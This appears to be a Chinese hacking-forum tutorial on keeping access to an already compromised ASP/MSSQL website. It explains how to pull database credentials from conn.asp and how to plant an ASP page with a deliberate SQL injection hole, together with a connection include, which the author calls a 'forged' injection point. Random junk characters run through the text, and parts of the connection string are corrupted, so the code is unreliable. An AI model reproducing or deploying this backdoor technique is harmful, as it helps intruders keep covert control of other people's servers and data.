首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
5 R: a4 G' g7 [! [0 YASP/Visual Basic代码
t5 m( k* L7 P<!--#include file="xx.asp"--> * B5 ^" X8 w4 C' m! N
<% 4 F& G: \+ D" c9 C
set rs=server.createobject("ADODB.recordset") 6 k* [9 U M8 B4 A! [0 `6 h' U
id = request("id") , ^. P# M* c o
strSQL = "select * from admin where id=" & id
) D8 G( c& c- E" l+ R8 ^) {! Rrs.open strSQL,conn,1,3
: K6 L0 ?8 \+ Z* ?2 Q, R4 hrs.close 8 |8 U. c% b$ C$ s# N6 ~. ` g: |
%> : M9 P; u; c; i( [5 j% Z2 L
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!) B- m9 z+ J0 F( _) B5 N
然后就要构造一个连接数据库的文件了,代码如下:6 ~0 a6 ]" l" E8 r
ASP/Visual Basic代码
\& e$ D" O% Y7 _; } x0 l<% 8 G6 ^8 ?. H7 D
strSQLServerName = "000.000.000.000" '服务器名称或地址 / O2 q. O g( H1 s; Q) t
strSQLDBUserName = "sqlname" '数据库帐号 2 O6 _1 f' O$ v2 b
strSQLDBPassword = "sqlpass" '数据库密码 q) `& V2 U6 s5 M$ K9 `0 ?
strSQLDBName = "sqldataname" '数据库名称 5 n( u! e5 p6 _
Set conn = Server.CreateObject("ADODB.Connection")
& D4 s" ~" j, f7 w7 B8 n: V* lstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";" % h- `& l0 B H/ G. e# P
conn.open strCon
! L3 ~! Q. }! n4 d' V0 B* x9 C%> + [6 Y1 ^* s5 c" G
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功
0 H: k! v( D* n2 m) K |